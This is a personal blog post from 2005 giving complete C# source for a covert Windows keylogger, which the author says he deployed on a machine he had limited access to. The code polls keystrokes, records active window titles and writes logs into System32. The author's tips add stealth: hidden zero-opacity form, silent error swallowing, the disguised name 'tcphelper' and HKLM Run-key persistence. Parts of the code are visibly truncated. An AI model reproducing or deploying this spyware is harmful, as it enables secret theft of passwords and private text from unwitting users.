in

Blog By Bob

Blog by Bob

Spies like us...

Without getting into why I needed it, I decided I needed to make a keylogger. There are actually a plethora of examples in unmanaged code, but I wanted to do it in C#. Yes, I am lazy. Anyhow, after wandering the internet, I found an awesome example in C#. Unfortunantly, I forgot the link, so I can't give credit to he who provided me guidance. The full project is downloadable from here.

The first thing we need to do is make the class that is going to be doing the actual capturing of the key presses.

using System;
using System.Runtime.InteropServices;
using System.Reflection;
using System.Threading;
using System.Windows.Forms;

namespace Recorder
{
   
public class InputListener
    { 
        [DllImport("user32.dll")]
       
public static extern int GetAsyncKeyState (long vKey);
       
public delegate void KeyPressHandler (object sender,KeyPressEventArgs e);
       
public event KeyPressHandler OnKeyPress;
        Thread thdMain;

        public void Run()
        { 
             thdMain =
new Thread(new ThreadStart(RunThread));
             thdMain.Start();
        }
       
public void Stop()
        {
             thdMain.Abort();
        }
       
private void RunThread()
        {
           
while(true
           {
               Thread.Sleep(1);
              
int i=0; 
               
for(i=1;i
              {
                 
if (GetAsyncKeyState(i) == Int16.MinValue+1 )
                 {
                     KeyPressEventArgs KeyPressInfo =
new KeyPressEventArgs( Control.ModifierKeys,i);
                    
if (OnKeyPress!=null)
                    {
                        OnKeyPress(
this,KeyPressInfo);
                    }
                  } 
               }
            } 
        }
        public class KeyPressEventArgs : EventArgs
       {
          
public KeyPressEventArgs( Keys ModifierKeys,int KeyCode)
              {
                 
this.ModifierKeys= ModifierKeys;
                 
this.KeyCode = KeyCode;
              
}
           public readonly Keys ModifierKeys; 
           public readonly int KeyCode;
        }
    }
}

Next, we need a class to write the data to the drive.

using System;
using System.IO;

namespace Recorder
{
   
public class LogWriter
    {
       
public LogWriter()
        {
        }
        
private static StreamWriter outputWriter;

        public static void Open()
       
{
           
string FileName="LogFile"+DateTime.Now.Year.ToString()+DateTime.Now.Month.ToString("0#")+DateTime.Now.Day.ToString("0#")+".txt";
           
try
           
{
               
outputWriter = new StreamWriter("c:\\Windows\\System32\\Logfiles\\"+FileName,true);
            
}
           
catch
          
{}
       
}
       
public static void Close()
       
{
           
try
            
{
                
outputWriter.Flush();
               
outputWriter.Close();
           
}
           
catch
           
{}
        
}
       
public static void Flush()
       
{
           
try
            
{
               
outputWriter.Flush();
           
}
           
catch
           
{
        
}
       
public static void Write(string TextToWrite)
       
{
            
try
           
{
               
outputWriter.Write(TextToWrite);
           
}
           
catch
           
{}
        
}
   
}
}

The first thing you will notice is although I am catching any errors here, I am not actually doing anything about them. At the time, the only thing that mattered was if the application failed, the user shouldn't know, and since the application has already served its function, I am *way* too lazy to go back and do something more robust.Barring that, what other class would we need?

Well, when I first ran the key logger, I was like 'Nice'. Then I was like 'Hmmm....' because even though you can see what they are typing, you aren't seeing what they are typing in. So we add the following class to write to the file when focus changes to a new window.

using System;
using System.Text;
using System.Runtime.InteropServices;
using System.Threading;
using System.Reflection;

namespace Recorder
{
   
public class WindowListener
    {
       
public WindowListener()
        {
        
}
       
public string OldWindow="";
       
public string NewWindow="";
        [ DllImport("user32.dll") ]
       
static extern int GetForegroundWindow(); 
        [ DllImport("user32.dll") ] 
        static extern int GetWindowText(int hWnd, StringBuilder text, int count);
       
string CarriageReturn = System.Environment.NewLine;
        Thread thdMain;
       
public void Run()
        {
            thdMain =
new Thread(new ThreadStart(RunThread));
            thdMain.Start();
        }
       
public void Stop()
       {
            thdMain.Abort();
       }
       
private void RunThread() 
      {
          
while(true
          {
               Thread.Sleep(30);
              
const int nChars=256;
              
int handle=0;
               StringBuilder Buff =
new StringBuilder(nChars);
               handle=GetForegroundWindow();
              
if(GetWindowText(handle,Buff,nChars)>0)
               {
                   NewWindow=handle.ToString();
                  
if(NewWindow!=OldWindow)
                  {
                     
string TextToWrite=CarriageReturn+CarriageReturn+Buff.ToString()+CarriageReturn+DateTime.Now+CarriageReturn+CarriageReturn;
                      LogWriter.Write(TextToWrite);
                      LogWriter.Flush();
                      OldWindow=NewWindow;
                  }
              }
          } 
      }
    }
}

The last interesting thing, the application is a WinForm instead of a WinService. I spent a few minutes debating this and decided it was the best solution, all things considered. There were several reasons for this, the main one being deployment. As this was a very fast coding and deploying job, and my physical access to the machine was somewhat limited, it seemed the best solution. I got around the limitations of the form by turning off the show in task bar options and minimizing the form on launch. This kept it from showing in the task bar, and also kept it from showing in the alt-tab window. Then all that was needed was to name the exe something inconspicuous (tcphelper) and add a key to hkey_local_machine\software\microsoft\windows\currentversion\run to launch it on startup.

This way I could push out a new version quickly if I need to, by just remotely killing the exe, pushing out the new one and restarting the application. I know that you can use Net Start/Net Stop for services, but I was somewhat concerned about versioning issues and didn't have time to research it. It all worked out well in the end. Here is the code from the WinForm.

using System;
using System.Drawing;
using System.Windows.Forms;

namespace Recorder
{
   
public class Form1 : System.Windows.Forms.Form
    {
       
private System.ComponentModel.Container components = null;
        
private InputListener inputListener;
       
private WindowListener windowListener;
       
public Form1()
        {
            InitializeComponent();
        }
       
protected override void Dispose( bool disposing )
        {
           
if( disposing )
            {
                
if (components != null)
                {
                    
components.Dispose();
                }
            }
           
base.Dispose( disposing );
        }
        #region Windows Form Designer generated code
       
private void InitializeComponent()
        {
            
this.AutoScaleBaseSize = new System.Drawing.Size(5, 13);
           
this.ClientSize = new System.Drawing.Size(0, 0);
            this.Name = "Form1";
           
this.Opacity = 0;
            
this.ShowInTaskbar = false;
           
this.Text = "tcpHelpMain";
           
this.WindowState = System.Windows.Forms.FormWindowState.Minimized;
           
this.Closing += new System.ComponentModel.CancelEventHandler(this.Form1_Closing);
           
this.Load += new System.EventHandler(this.Form1_Load);
        }
        
#endregion
        [STAThread]
        static void Main()
        {
            Application.Run(
new Form1());
        }
       
private void Form1_Load(object sender, System.EventArgs e) 
        {
            
this.Visible=false;
            inputListener =
new InputListener();
            inputListener.OnKeyPress +=
new InputListener.KeyPressHandler(InputListener_KeyPress);
            inputListener.Run();
            LogWriter.Open();
            windowListener =
new WindowListener();
            windowListener.Run();
        }
       
private void InputListener_KeyPress(object sender, InputListener.KeyPressEventArgs e)
        {
            
string TextToWrite;
           
switch(e.KeyCode)
            {
                
case 13:
                          TextToWrite=System.Environment.NewLine;
               
break;
               
case 20:
                          TextToWrite=" ";
               
break;
               
default:
                          TextToWrite=Convert.ToChar(e.KeyCode).ToString().ToLower();
               
break;
            }
            LogWriter.Write(TextToWrite);
        }
       
private void Form1_Closing(object sender, System.ComponentModel.CancelEventArgs e)
        {
            inputListener.Stop();
            windowListener.Stop();
            LogWriter.Flush();
            LogWriter.Close();
        }
    }
}

There are a few issues, mainly any special characters, ie backspace, tab, etc come out as funny little blocks, you will notice I actually caught carriage returns and tabs so I could at least have some semblence of formatting. Also, there are 2 threads calling the file io class, but that should be fine as I made that class static, which is inherently thread safe. On a side note, after trying to format that much code in the Edit Post window in .Text, I am either going to rewrite the editor, or find a better one...

Published Apr 27 2005, 01:31 AM by Bob

Comments

No Comments

Leave a Comment

(required)  
(optional)
(required)  
Add
Copyright © :: BlogByBob.com
Powered by Community Server (Non-Commercial Edition), by Telligent Systems